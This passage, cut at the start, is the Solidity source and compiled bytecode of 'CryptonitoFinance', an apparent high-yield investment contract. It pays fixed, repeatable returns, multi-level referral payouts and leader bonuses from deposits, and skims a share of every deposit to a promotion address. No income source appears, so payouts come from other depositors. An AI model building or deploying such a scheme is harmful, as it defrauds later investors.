(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract CryptonitoFinance is Ownable { using SafeMath for uint256; uint256 public constant MINIMAL_DEPOSIT = 0.001 ether; uint256 public constant DEPOSITS_THRESHOLD = 25; uint256 public constant ROWS_IN_DEPOSIT = 7; uint8 public constant DEPOSITS_TYPES_COUNT = 4; uint256 public constant POSSIBLE_DEPOSITS_ROWS_COUNT = 700; uint256[4] public PLANS_PERIODS = [7 days, 14 days, 21 days, 28 days]; uint256[4] public PLANS_PERCENTS = [7, 17, 28, 42]; uint256[9] public LEADER_BONUS_TRIGGERS = [ 0.3 ether, 0.8 ether, 1.5 ether, 3 ether, 15 ether, 30 ether, 150 ether, 300 ether, 1500 ether ]; uint256[9] public LEADER_BONUS_REWARDS = [ 0.006 ether, 0.0128 ether, 0.03 ether, 0.06 ether, 0.3 ether, 1.05 ether, 3.75 ether, 10.5 ether, 75 ether ]; uint256[3] public LEADER_BONUS_LEVEL_PERCENTS = [100, 30, 15]; address payable public PROMOTION_ADDRESS = payable(0x706BC5dbBCeE7383e1f7c2f1d7d7977b38E21c7F); uint256[4] public PROMOTION_PERCENTS = [100, 100, 100, 100]; address payable public constant DEFAULT_REFERRER = payable(0x22D4622652Cd3dDc5B0107F3f3f65FdE2C372cD7); uint256[5][4] public REFERRAL_PERCENTS; uint256[4] public TOTAL_REFERRAL_PERCENTS = [300, 600, 900, 1200]; struct Deposit { uint256 id; uint256 amount; uint8 depositType; uint256 freezeTime; uint256 withdrawn; } struct Player { address payable referrer; address refLevel; uint256 referralReward; uint256 refsCount; bool isActive; uint256 leadTurnover; uint256 basicWithdraws; uint256 leadBonusReward; bool[9] receivedBonuses; bool isMadeFirstDeposit; Deposit[] deposits; uint256 investmentSum; uint256[4] depositsTypesCount; uint256[4] depositsTotalAmount; } mapping(address => Player) public players; mapping(address => uint256) private balances; uint256 public playersCount; uint256 public depositsCounter; uint256 public totalFrozenFunds; uint256 public totalReferalWithdraws; uint256 public totalLeadBonusReward; uint256 public turnover; event NewDeposit( uint256 depositId, address account, address referrer, uint8 depositType, uint256 amount ); event Withdraw(address account, uint256 originalAmount, uint256 level_percent, uint256 amount); event TransferReferralReward(address ref, address player, uint256 originalAmount, uint256 level_percents, uint256 rateType, uint256 amount); event TransferLeaderBonusReward( address indexed _to, uint256 indexed _amount, uint8 indexed _level ); event TakeAwayDeposit(address account, uint8 depositType, uint256 amount); event WithdrawPromotionReward(address promo, uint256 reward); constructor() { REFERRAL_PERCENTS[0] = [125, 75, 50, 25, 25]; REFERRAL_PERCENTS[1] = [250, 150, 100, 50, 50]; REFERRAL_PERCENTS[2] = [375, 225, 150, 75, 75]; REFERRAL_PERCENTS[3] = [500, 300, 200, 100, 100]; } function isDepositCanBeCreated(uint8 depositType) external view returns (bool) { if (depositType < DEPOSITS_TYPES_COUNT) { return players[msg.sender].depositsTypesCount[depositType] < DEPOSITS_THRESHOLD; } else { return false; } } function getMaximumPossibleDepositValue(uint8 depositType) external view returns (uint256) { Player storage player = players[msg.sender]; return player.depositsTotalAmount[DEPOSITS_TYPES_COUNT - 1] - player.depositsTotalAmount[depositType]; } function makeDeposit(address payable ref, uint8 depositType) external payable { Player storage player = players[msg.sender]; require(depositType < DEPOSITS_TYPES_COUNT, "Wrong deposit type"); require(player.depositsTypesCount[depositType] < DEPOSITS_THRESHOLD, "Can't create deposits over limit"); require( msg.value >= MINIMAL_DEPOSIT, "Not enought for mimimal deposit" ); require(player.isActive || ref != msg.sender, "Referal can't refer to itself"); if (depositType < DEPOSITS_TYPES_COUNT - 1) { require(player.depositsTypesCount[DEPOSITS_TYPES_COUNT - 1] > 0, "You should create 28 days long deposit before"); require( player.depositsTotalAmount[depositType].add(msg.value) <= player.depositsTotalAmount[DEPOSITS_TYPES_COUNT - 1], "Low levels total deposits amount should be lower than 28 days long total deposits amount" ); } if (!player.isActive) { playersCount = playersCount.add(1); player.isActive = true; } player.depositsTypesCount[depositType] = player.depositsTypesCount[depositType].add(1); player.depositsTotalAmount[depositType] = player.depositsTotalAmount[depositType].add(msg.value); _setReferrer(msg.sender, ref); player.deposits.push( Deposit({ id: depositsCounter + 1, amount: msg.value, depositType: depositType, freezeTime: block.timestamp, withdrawn: 0 }) ); player.investmentSum = player.investmentSum.add(msg.value); totalFrozenFunds = totalFrozenFunds.add(msg.value); emit NewDeposit(depositsCounter + 1, msg.sender, _getReferrer(msg.sender), depositType, msg.value); distributeRef(msg.value, msg.sender, depositType); distributeBonuses(msg.value, payable(msg.sender)); sendRewardToPromotion(msg.value, depositType); depositsCounter = depositsCounter.add(1); } function takeAwayDeposit(uint256 depositId) external { Player storage player = players[msg.sender]; require(depositId < player.deposits.length, "Out of keys list range"); Deposit memory deposit = player.deposits[depositId]; require(deposit.withdrawn > 0, "First need to withdraw reward"); require( deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp, "Not allowed now" ); require(address(this).balance >= deposit.amount, "Not enought ETH to withdraw deposit"); player.depositsTypesCount[deposit.depositType] = player.depositsTypesCount[deposit.depositType].sub(1); player.depositsTotalAmount[deposit.depositType] = player.depositsTotalAmount[deposit.depositType].sub(deposit.amount); player.investmentSum = player.investmentSum.sub(deposit.amount); if (depositId < player.deposits.length.sub(1)) { player.deposits[depositId] = player.deposits[player.deposits.length.sub(1)]; } player.deposits.pop(); payable(msg.sender).transfer(deposit.amount); emit TakeAwayDeposit(msg.sender, deposit.depositType, deposit.amount); } function _withdraw(address payable _wallet, uint256 _amount) private { require(address(this).balance >= _amount, "Not enougth TRX to withdraw reward"); _wallet.transfer(_amount); } function withdrawReward(uint256 depositId) external returns (uint256) { Player storage player = players[msg.sender]; require(depositId < player.deposits.length, "Out of keys list range"); Deposit storage deposit = player.deposits[depositId]; require(deposit.withdrawn == 0, "Already withdrawn, try 'Withdrow again' feature"); uint256 amount = deposit.amount.mul(PLANS_PERCENTS[deposit.depositType]).div(100); deposit.withdrawn = deposit.withdrawn.add(amount); _withdraw(payable(msg.sender), amount); emit Withdraw(msg.sender, deposit.amount, PLANS_PERCENTS[deposit.depositType], amount); player.basicWithdraws = player.basicWithdraws.add(amount); return amount; } function withdrawRewardAgain(uint256 depositId) external returns (uint256) { Player storage player = players[msg.sender]; require(depositId < player.deposits.length, "Out of keys list range"); Deposit storage deposit = player.deposits[depositId]; require(deposit.withdrawn != 0, "Already withdrawn, try 'Withdrow again' feature"); require(deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp, "Repeated withdraw not allowed now"); deposit.freezeTime = block.timestamp; uint256 amount = deposit.amount .mul(PLANS_PERCENTS[deposit.depositType]) .div(100); deposit.withdrawn = deposit.withdrawn.add(amount); _withdraw(payable(msg.sender), amount); emit Withdraw(msg.sender, deposit.withdrawn, PLANS_PERCENTS[deposit.depositType], amount); player.basicWithdraws = player.basicWithdraws.add(amount); uint256 depositAmount = deposit.amount; distributeRef(depositAmount, msg.sender, deposit.depositType); sendRewardToPromotion(depositAmount, deposit.depositType); return amount; } function distributeRef(uint256 _amount, address _player, uint256 rateType) private { uint256 totalReward = _amount.mul(TOTAL_REFERRAL_PERCENTS[rateType]).div(10000); address player = _player; address payable ref = _getReferrer(player); uint256 refReward; for (uint8 i = 0; i < REFERRAL_PERCENTS[rateType].length; i++) { refReward = (_amount.mul(REFERRAL_PERCENTS[rateType][i]).div(10000)); totalReward = totalReward.sub(refReward); players[ref].referralReward = players[ref].referralReward.add( refReward ); totalReferalWithdraws = totalReferalWithdraws.add(refReward); if (address(this).balance >= refReward) { if (i == 0 && !players[player].isMadeFirstDeposit) { players[player].isMadeFirstDeposit = true; players[ref].refsCount = players[ref].refsCount.add(1); } ref.transfer(refReward); emit TransferReferralReward(ref, player, _amount, REFERRAL_PERCENTS[rateType][i], rateType, refReward); } else { break; } player = ref; ref = players[ref].referrer; if (ref == address(0x0)) { ref = DEFAULT_REFERRER; } } if (totalReward > 0) { payable(owner()).transfer(totalReward); } } function distributeBonuses(uint256 _amount, address payable _player) private { address payable ref = players[_player].referrer; for (uint8 i = 0; i < LEADER_BONUS_LEVEL_PERCENTS.length; i++) { players[ref].leadTurnover = players[ref].leadTurnover.add( _amount.mul(LEADER_BONUS_LEVEL_PERCENTS[i]).div(100) ); for (uint8 j = 0; j < LEADER_BONUS_TRIGGERS.length; j++) { if (players[ref].leadTurnover >= LEADER_BONUS_TRIGGERS[j]) { if (!players[ref].receivedBonuses[j] && address(this).balance >= LEADER_BONUS_REWARDS[j]) { players[ref].receivedBonuses[j] = true; players[ref].leadBonusReward = players[ref] .leadBonusReward .add(LEADER_BONUS_REWARDS[j]); totalLeadBonusReward = totalLeadBonusReward.add( LEADER_BONUS_REWARDS[j] ); ref.transfer(LEADER_BONUS_REWARDS[j]); emit TransferLeaderBonusReward( ref, LEADER_BONUS_REWARDS[j], i ); } else { continue; } } else { break; } } ref = players[ref].referrer; } } function sendRewardToPromotion(uint256 amount, uint8 depositType) private { uint256 reward = amount.mul(PROMOTION_PERCENTS[depositType]).div(1000); PROMOTION_ADDRESS.transfer(reward); emit WithdrawPromotionReward(PROMOTION_ADDRESS, reward); } function _getReferrer(address player) private view returns (address payable) { return players[player].referrer; } function _setReferrer(address playerAddress, address payable ref) private { Player storage player = players[playerAddress]; uint256 depositsCount = getDepositsCount(address(ref)); if (player.referrer == address(0)) { if (ref == address(0) || depositsCount == 0) { player.referrer = DEFAULT_REFERRER; } else { player.referrer = ref; } } } function invest() external payable { payable(msg.sender).transfer(msg.value); } function getGlobalStats() external view returns (uint256[4] memory stats) { stats[0] = totalFrozenFunds; stats[1] = playersCount; } function getInvestmentsSum(address _player) public view returns (uint256 sum) { return players[_player].investmentSum; } function getDeposit(address _player, uint256 _id) public view returns (uint256[ROWS_IN_DEPOSIT] memory deposit) { Deposit memory depositStruct = players[_player].deposits[_id]; deposit = depositStructToArray(depositStruct); } function getDeposits(address _player) public view returns (uint256[POSSIBLE_DEPOSITS_ROWS_COUNT] memory deposits) { Player memory player = players[_player]; for (uint256 i = 0; i < player.deposits.length; i++) { uint256[ROWS_IN_DEPOSIT] memory deposit = depositStructToArray(player.deposits[i]); for (uint256 row = 0; row < ROWS_IN_DEPOSIT; row++) { deposits[i.mul(ROWS_IN_DEPOSIT).add(row)] = deposit[row]; } } } function getDepositsCount(address _player) public view returns (uint256) { return players[_player].deposits.length; } function isDepositTakenAway(address _player, uint256 _id) public view returns (bool) { return players[_player].deposits[_id].amount == 0; } function getWithdraws(address _player) public view returns (uint256) { return players[_player].basicWithdraws; } function getWithdrawnReferalFunds(address _player) public view returns (uint256) { return players[_player].referralReward; } function getWithdrawnLeaderFunds(address _player) public view returns (uint256) { return players[_player].leadBonusReward; } function getReferralsCount(address _player) public view returns (uint256) { return players[_player].refsCount; } function getPersonalStats(address _player) external view returns (uint256[7] memory stats) { Player memory player = players[_player]; stats[0] = address(_player).balance; if (player.isActive) { stats[1] = player.deposits.length; stats[2] = getInvestmentsSum(_player); } else { stats[1] = 0; stats[2] = 0; } stats[3] = getWithdraws(_player); stats[4] = getWithdrawnReferalFunds(_player); stats[5] = getWithdrawnLeaderFunds(_player); stats[6] = getReferralsCount(_player); } function getReceivedBonuses(address _player) external view returns (bool[9] memory) { return players[_player].receivedBonuses; } function depositStructToArray(Deposit memory deposit) private view returns (uint256[ROWS_IN_DEPOSIT] memory depositArray) { depositArray[0] = deposit.id; depositArray[1] = deposit.amount; depositArray[2] = deposit.depositType; depositArray[3] = PLANS_PERCENTS[deposit.depositType]; depositArray[4] = PLANS_PERIODS[deposit.depositType]; depositArray[5] = deposit.freezeTime; depositArray[6] = deposit.withdrawn; } }
0x6080604052600436106102675760003560e01c80636c96193511610144578063a3f67d6d116100b6578063c3ebf61e1161007a578063c3ebf61e146107ad578063c67f7df5146107c3578063cfa59023146107fc578063e2eb41ff1461081c578063e8b5e51f146108f2578063f2fde38b146108fa57600080fd5b8063a3f67d6d14610713578063a8a0d21014610729578063b5c6230e1461073f578063b9c7f52e14610754578063c0ecee051461078d57600080fd5b806380188ce31161010857806380188ce31461065d5780638da5cb5b1461067d5780638e05016e1461069b578063928ac605146106bb578063933d9201146106d157806394f649dd146106e657600080fd5b80636c961935146105a8578063715018a6146105c85780637693af5d146105dd578063781e65e3146105fd5780637a1e3c461461063d57600080fd5b8063354852e8116101dd5780635364b41c116101a15780635364b41c146104d75780635604a9eb146104f757806356336df41461053057806357d30ca6146105465780635d9caabe146105665780636b4169c31461058657600080fd5b8063354852e81461043a578063399a961a146104615780633f421798146104815780634bee17b714610497578063523a3f08146104b757600080fd5b8063256540cd1161022f578063256540cd1461035c57806326ba002c146103725780632726b5061461039257806329bbbe50146103bf5780632a6c8c14146103ec578063316a37d21461040157600080fd5b8063084b2ee51461026c5780630a17484a1461029f57806317e86047146102d85780631810847c1461031157806319fcf0551461032c575b600080fd5b34801561027857600080fd5b5061028c61028736600461287a565b61091a565b6040519081526020015b60405180910390f35b3480156102ab57600080fd5b5061028c6102ba3660046128a8565b6001600160a01b03166000908152603b602052604090206007015490565b3480156102e457600080fd5b5061028c6102f33660046128a8565b6001600160a01b03166000908152603b60205260409020600b015490565b34801561031d57600080fd5b5061028c66038d7ea4c6800081565b34801561033857600080fd5b5061034c6103473660046128c5565b610931565b6040519015158152602001610296565b34801561036857600080fd5b5061028c60425481565b34801561037e57600080fd5b5061028c61038d36600461287a565b61097b565b34801561039e57600080fd5b506103b26103ad3660046128c5565b610bad565b60405161029691906128f1565b3480156103cb57600080fd5b506103df6103da3660046128a8565b610c43565b6040516102969190612922565b6103ff6103fa36600461295e565b610cb8565b005b34801561040d57600080fd5b5061028c61041c3660046128a8565b6001600160a01b03166000908152603b602052604090206002015490565b34801561044657600080fd5b5061044f600481565b60405160ff9091168152602001610296565b34801561046d57600080fd5b506103ff61047c36600461287a565b6111d6565b34801561048d57600080fd5b5061028c6102bc81565b3480156104a357600080fd5b5061028c6104b2366004612993565b6115ab565b3480156104c357600080fd5b5061028c6104d236600461287a565b6115d6565b3480156104e357600080fd5b5061028c6104f236600461287a565b611731565b34801561050357600080fd5b5061028c6105123660046128a8565b6001600160a01b03166000908152603b602052604090206003015490565b34801561053c57600080fd5b5061028c60415481565b34801561055257600080fd5b5061028c61056136600461287a565b611741565b34801561057257600080fd5b5061034c6105813660046129b5565b611751565b34801561059257600080fd5b5061059b61179e565b60405161029691906129d0565b3480156105b457600080fd5b5061028c6105c336600461287a565b6117b6565b3480156105d457600080fd5b506103ff6117c6565b3480156105e957600080fd5b506103b26105f83660046128a8565b61182c565b34801561060957600080fd5b506106257322d4622652cd3ddc5b0107f3f3f65fde2c372cd781565b6040516001600160a01b039091168152602001610296565b34801561064957600080fd5b5061028c6106583660046129b5565b611ace565b34801561066957600080fd5b5061028c61067836600461287a565b611b2d565b34801561068957600080fd5b506000546001600160a01b0316610625565b3480156106a757600080fd5b50601e54610625906001600160a01b031681565b3480156106c757600080fd5b5061028c60405481565b3480156106dd57600080fd5b5061028c600781565b3480156106f257600080fd5b506107066107013660046128a8565b611b3d565b60405161029691906129f8565b34801561071f57600080fd5b5061028c603d5481565b34801561073557600080fd5b5061028c603e5481565b34801561074b57600080fd5b5061028c601981565b34801561076057600080fd5b5061028c61076f3660046128a8565b6001600160a01b03166000908152603b602052604090206006015490565b34801561079957600080fd5b5061028c6107a836600461287a565b611de8565b3480156107b957600080fd5b5061028c603f5481565b3480156107cf57600080fd5b5061028c6107de3660046128a8565b6001600160a01b03166000908152603b60205260409020600a015490565b34801561080857600080fd5b5061028c61081736600461287a565b611df8565b34801561082857600080fd5b5061089b6108373660046128a8565b603b602052600090815260409020805460018201546002830154600384015460048501546005860154600687015460078801546009890154600b909901546001600160a01b039889169998909716979596949560ff9485169593949293919216908a565b604080516001600160a01b039b8c1681529a90991660208b0152978901969096526060880194909452911515608087015260a086015260c085015260e0840152151561010083015261012082015261014001610296565b6103ff611e08565b34801561090657600080fd5b506103ff6109153660046128a8565b611e37565b6037816004811061092a57600080fd5b0154905081565b6001600160a01b0382166000908152603b60205260408120600a0180548390811061095e5761095e612a22565b906000526020600020906005020160010154600014905092915050565b336000908152603b60205260408120600a81015483106109b65760405162461bcd60e51b81526004016109ad90612a38565b60405180910390fd5b600081600a0184815481106109cd576109cd612a22565b90600052602060002090600502019050806004015460001415610a025760405162461bcd60e51b81526004016109ad90612a68565b60028101544290610a309060019060ff1660048110610a2357610a23612a22565b0154600384015490611eff565b1115610a885760405162461bcd60e51b815260206004820152602160248201527f5265706561746564207769746864726177206e6f7420616c6c6f776564206e6f6044820152607760f81b60648201526084016109ad565b4260038201556002810154600090610aca90606490610ac49060059060ff1660048110610ab757610ab7612a22565b0154600186015490611f0b565b90611f17565b6004830154909150610adc9082611eff565b6004830155610aeb3382611f23565b60048083015460028401547f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca949233929160059160ff909116908110610b3257610b32612a22565b0154604080516001600160a01b0390941684526020840192909252908201526060810183905260800160405180910390a16006830154610b729082611eff565b600684015560018201546002830154610b91908290339060ff16611fb9565b6002830154610ba490829060ff166122ce565b50949350505050565b610bb56127ff565b6001600160a01b0383166000908152603b60205260408120600a01805484908110610be257610be2612a22565b60009182526020918290206040805160a081018252600590930290910180548352600181015493830193909352600283015460ff16908201526003820154606082015260049091015460808201529050610c3b81612377565b949350505050565b610c4b61281d565b6001600160a01b0382166000908152603b60205260408082208151610120810192839052926008909101916009918390855b825461010083900a900460ff161515815260206001928301818104948501949093039092029101808411610c7d575094979650505050505050565b336000908152603b60205260409020600460ff831610610d0f5760405162461bcd60e51b815260206004820152601260248201527157726f6e67206465706f736974207479706560701b60448201526064016109ad565b601981600c018360ff1660048110610d2957610d29612a22565b015410610d785760405162461bcd60e51b815260206004820181905260248201527f43616e277420637265617465206465706f73697473206f766572206c696d697460448201526064016109ad565b66038d7ea4c68000341015610dcf5760405162461bcd60e51b815260206004820152601f60248201527f4e6f7420656e6f7567687420666f72206d696d696d616c206465706f7369740060448201526064016109ad565b600481015460ff1680610deb57506001600160a01b0383163314155b610e375760405162461bcd60e51b815260206004820152601d60248201527f5265666572616c2063616e277420726566657220746f20697473656c6600000060448201526064016109ad565b610e4360016004612acd565b60ff168260ff161015610fbd576000600c8201610e6260016004612acd565b60ff1660048110610e7557610e75612a22565b015411610eda5760405162461bcd60e51b815260206004820152602d60248201527f596f752073686f756c64206372656174652032382064617973206c6f6e67206460448201526c65706f736974206265666f726560981b60648201526084016109ad565b60108101610eea60016004612acd565b60ff1660048110610efd57610efd612a22565b0154610f2334836010018560ff1660048110610f1b57610f1b612a22565b015490611eff565b1115610fbd5760405162461bcd60e51b815260206004820152605860248201527f4c6f77206c6576656c7320746f74616c206465706f7369747320616d6f756e7460448201527f2073686f756c64206265206c6f776572207468616e2032382064617973206c6f60648201527f6e6720746f74616c206465706f7369747320616d6f756e740000000000000000608482015260a4016109ad565b600481015460ff16610fea57603d54610fd7906001611eff565b603d5560048101805460ff191660011790555b611007600182600c018460ff1660048110610f1b57610f1b612a22565b81600c018360ff166004811061101f5761101f612a22565b015561103d346010830160ff851660048110610f1b57610f1b612a22565b816010018360ff166004811061105557611055612a22565b015561106133846123ff565b80600a016040518060a00160405280603e54600161107f9190612af0565b815234602080830182905260ff8781166040808601919091524260608087019190915260006080968701819052885460018082018b55998252908590208851600590920201908155938701519784019790975585015160028301805460ff191691909216179055938301516003850155910151600490920191909155600b82015461110991611eff565b600b820155603f5461111b9034611eff565b603f55603e547fad291d2092bc6618abf07273b026197a8dc8e2d01332ef2ef8fb6a663092c62e9061114e906001612af0565b336000818152603b60205260409020546001600160a01b0316604080519384526001600160a01b03928316602085015291169082015260ff8416606082015234608082015260a00160405180910390a16111ac34338460ff16611fb9565b6111b63433612498565b6111c034836122ce565b603e546111ce906001611eff565b603e55505050565b336000908152603b60205260409020600a81015482106112085760405162461bcd60e51b81526004016109ad90612a38565b600081600a01838154811061121f5761121f612a22565b60009182526020918290206040805160a081018252600590930290910180548352600181015493830193909352600283015460ff169082015260038201546060820152600490910154608082018190529091506112be5760405162461bcd60e51b815260206004820152601d60248201527f4669727374206e65656420746f2077697468647261772072657761726400000060448201526064016109ad565b426112e96001836040015160ff16600481106112dc576112dc612a22565b0154606084015190611eff565b11156113295760405162461bcd60e51b815260206004820152600f60248201526e4e6f7420616c6c6f776564206e6f7760881b60448201526064016109ad565b80602001514710156113895760405162461bcd60e51b815260206004820152602360248201527f4e6f7420656e6f756768742045544820746f207769746864726177206465706f6044820152621cda5d60ea1b60648201526084016109ad565b6113b2600183600c01836040015160ff16600481106113aa576113aa612a22565b0154906127a3565b82600c01826040015160ff16600481106113ce576113ce612a22565b01819055506113f7816020015183601001836040015160ff16600481106113aa576113aa612a22565b82601001826040015160ff166004811061141357611413612a22565b01556020810151600b830154611428916127a3565b600b830155600a82015461143d9060016127a3565b8310156114d557600a820180546114559060016127a3565b8154811061146557611465612a22565b906000526020600020906005020182600a01848154811061148857611488612a22565b60009182526020909120825460059092020190815560018083015490820155600280830154908201805460ff191660ff909216919091179055600380830154908201556004918201549101555b81600a018054806114e8576114e8612b08565b600082815260208082206005600019909401938402018281556001810183905560028101805460ff191690556003810183905560040182905591909255820151604051339282156108fc02929190818181858888f19350505050158015611553573d6000803e3d6000fd5b50604080820151602080840151835133815260ff90931691830191909152918101919091527f108aefdfe66d33f005333523bb0615f9d4037ef33206f0ce728b58bbfc23dcbd906060015b60405180910390a1505050565b602382600481106115bb57600080fd5b6005020181600581106115cd57600080fd5b01549150829050565b336000908152603b60205260408120600a81015483106116085760405162461bcd60e51b81526004016109ad90612a38565b600081600a01848154811061161f5761161f612a22565b9060005260206000209060050201905080600401546000146116535760405162461bcd60e51b81526004016109ad90612a68565b600281015460009061167c90606490610ac49060059060ff1660048110610ab757610ab7612a22565b600483015490915061168e9082611eff565b600483015561169d3382611f23565b600182015460028301547f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca9491339160059060ff16600481106116e1576116e1612a22565b0154604080516001600160a01b0390941684526020840192909252908201526060810183905260800160405180910390a160068301546117219082611eff565b6006909301929092555092915050565b6009816009811061092a57600080fd5b601f816004811061092a57600080fd5b6000600460ff8316101561179157336000908152603b60205260409020601990600c0160ff84166004811061178857611788612a22565b01541092915050565b506000919050565b919050565b6117a661283c565b603f548152603d54602082015290565b6005816004811061092a57600080fd5b6000546001600160a01b031633146118205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ad565b61182a60006127af565b565b6118346127ff565b6001600160a01b038281166000908152603b6020908152604080832081516101c08101835281548616815260018201549095169285019290925260028201548482015260038201546060850152600482015460ff1615156080850152600582015460a0850152600682015460c0850152600782015460e0850152805161012081019182905292939261010084019160088401906009908288855b825461010083900a900460ff1615158152602060019283018181049485019490930390920291018084116118ce57505050928452505050600982015460ff161515602080830191909152600a83018054604080518285028101850182528281529401939260009084015b828210156119995760008481526020908190206040805160a081018252600586029092018054835260018082015484860152600282015460ff1692840192909252600381015460608401526004015460808301529083529092019101611938565b50505090825250600b820154602082015260408051608081018252910190600c830160048282826020028201915b8154815260200190600101908083116119c757505050918352505060408051608081019182905260209092019190601084019060049082845b815481526020019060010190808311611a0057505050919092525050506001600160a01b038416318352608081015190915015611a7257610140810151518260016020020152611a68836001600160a01b03166000908152603b60205260409020600b015490565b6040830152611a81565b60006020830181905260408301525b506001600160a01b03919091166000818152603b6020818152604083206006810154606087015260028101546080870152600781015460a08701529390925290526003015460c082015290565b336000908152603b602052604081206010810160ff841660048110611af557611af5612a22565b015460108201611b0760016004612acd565b60ff1660048110611b1a57611b1a612a22565b0154611b269190612b1e565b9392505050565b601b816003811061092a57600080fd5b611b4561285a565b6001600160a01b038281166000908152603b6020908152604080832081516101c08101835281548616815260018201549095169285019290925260028201548482015260038201546060850152600482015460ff1615156080850152600582015460a0850152600682015460c0850152600782015460e0850152805161012081019182905292939261010084019160088401906009908288855b825461010083900a900460ff161515815260206001928301818104948501949093039092029101808411611bdf57505050928452505050600982015460ff161515602080830191909152600a83018054604080518285028101850182528281529401939260009084015b82821015611caa5760008481526020908190206040805160a081018252600586029092018054835260018082015484860152600282015460ff1692840192909252600381015460608401526004015460808301529083529092019101611c49565b50505090825250600b820154602082015260408051608081018252910190600c830160048282826020028201915b815481526020019060010190808311611cd857505050918352505060408051608081019182905260209092019190601084019060049082845b815481526020019060010190808311611d1157505050505081525050905060005b81610140015151811015611de1576000611d698361014001518381518110611d5c57611d5c612a22565b6020026020010151612377565b905060005b6007811015611dcc57818160078110611d8957611d89612a22565b602002015185611da483611d9e876007611f0b565b90611eff565b6102bc8110611db557611db5612a22565b602002015280611dc481612b35565b915050611d6e565b50508080611dd990612b35565b915050611d32565b5050919050565b6012816009811061092a57600080fd5b6001816004811061092a57600080fd5b60405133903480156108fc02916000818181858888f19350505050158015611e34573d6000803e3d6000fd5b50565b6000546001600160a01b03163314611e915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ad565b6001600160a01b038116611ef65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109ad565b611e34816127af565b6000611b268284612af0565b6000611b268284612b50565b6000611b268284612b6f565b80471015611f7e5760405162461bcd60e51b815260206004820152602260248201527f4e6f7420656e6f756774682054525820746f20776974686472617720726577616044820152611c9960f21b60648201526084016109ad565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611fb4573d6000803e3d6000fd5b505050565b6000611fe0612710610ac460378560048110611fd757611fd7612a22565b01548790611f0b565b9050826000612007826001600160a01b039081166000908152603b60205260409020541690565b90506000805b6023866004811061202057612020612a22565b505060058160ff1610156122835761206b612710610ac46023896004811061204a5761204a612a22565b600502018460ff166005811061206257612062612a22565b01548b90611f0b565b915061207785836127a3565b6001600160a01b0384166000908152603b60205260409020600201549095506120a09083611eff565b6001600160a01b0384166000908152603b60205260409081902060020191909155546120cc9083611eff565b60405547821161222d5760ff811615801561210357506001600160a01b0384166000908152603b602052604090206009015460ff16155b15612164576001600160a01b038085166000908152603b6020526040808220600901805460ff19166001908117909155928616825290206003015461214791611eff565b6001600160a01b0384166000908152603b60205260409020600301555b6040516001600160a01b0384169083156108fc029084906000818181858888f1935050505015801561219a573d6000803e3d6000fd5b507f15ca5dc1c3d05a1a8a6b3e967432ed3db7c422b4a6c08bb541d1d6160f73e25783858a60238a600481106121d2576121d2612a22565b600502018560ff16600581106121ea576121ea612a22565b0154604080516001600160a01b0395861681529490931660208501529183015260608201526080810188905260a0810184905260c00160405180910390a1612232565b612283565b6001600160a01b038084166000908152603b6020526040902054939450929092169182612271577322d4622652cd3ddc5b0107f3f3f65fde2c372cd792505b8061227b81612b91565b91505061200d565b5083156122c557600080546040516001600160a01b039091169186156108fc02918791818181858888f193505050501580156122c3573d6000803e3d6000fd5b505b50505050505050565b60006122f86103e8610ac4601f8560ff16600481106122ef576122ef612a22565b01548690611f0b565b601e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612333573d6000803e3d6000fd5b50601e54604080516001600160a01b039092168252602082018390527f9d3092d3b12d04d25d25e33351cace309338266040ed4ad4b0a8ebef67b331f9910161159e565b61237f6127ff565b8151815260208201518160016020020152604082015160ff168160026020020152604082015160059060ff16600481106123bb576123bb612a22565b01546060820152604082015160019060ff16600481106123dd576123dd612a22565b0154608080830191909152606083015160a0830152919091015160c082015290565b6001600160a01b038281166000908152603b602052604080822092841682528120600a015482549091506001600160a01b0316612492576001600160a01b038316158061244a575080155b156124785781546001600160a01b0319167322d4622652cd3ddc5b0107f3f3f65fde2c372cd7178255612492565b81546001600160a01b0319166001600160a01b0384161782555b50505050565b6001600160a01b038082166000908152603b6020526040812054909116905b60038160ff1610156124925761250f6124ed6064610ac4601b8560ff16600381106124e4576124e4612a22565b01548890611f0b565b6001600160a01b0384166000908152603b602052604090206005015490611eff565b6001600160a01b0383166000908152603b60205260408120600501919091555b60098160ff1610156127725760098160ff166009811061255157612551612a22565b01546001600160a01b0384166000908152603b60205260409020600501541061275b576001600160a01b0383166000908152603b6020526040902060080160ff8216600981106125a3576125a3612a22565b602081049091015460ff601f9092166101000a9004161580156125dd575060128160ff16600981106125d7576125d7612a22565b01544710155b15612756576001600160a01b0383166000908152603b6020526040902060019060080160ff83166009811061261457612614612a22565b602091828204019190066101000a81548160ff02191690831515021790555061267060128260ff166009811061264c5761264c612a22565b01546001600160a01b0385166000908152603b602052604090206007015490611eff565b6001600160a01b0384166000908152603b60205260409020600701556126b0601260ff8316600981106126a5576126a5612a22565b015460415490611eff565b6041556001600160a01b0383166108fc601260ff8416600981106126d6576126d6612a22565b01546040518115909202916000818181858888f19350505050158015612700573d6000803e3d6000fd5b508160ff1660128260ff166009811061271b5761271b612a22565b01546040516001600160a01b038616907f7a3cc5473732b92d61ea96f153404e0a71b0762aa95df1acc41bea6f3cee361490600090a4612760565b612760565b612772565b8061276a81612b91565b91505061252f565b506001600160a01b039182166000908152603b6020526040902054909116908061279b81612b91565b9150506124b7565b6000611b268284612b1e565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040518060e001604052806007906020820280368337509192915050565b6040518061012001604052806009906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518061578001604052806102bc906020820280368337509192915050565b60006020828403121561288c57600080fd5b5035919050565b6001600160a01b0381168114611e3457600080fd5b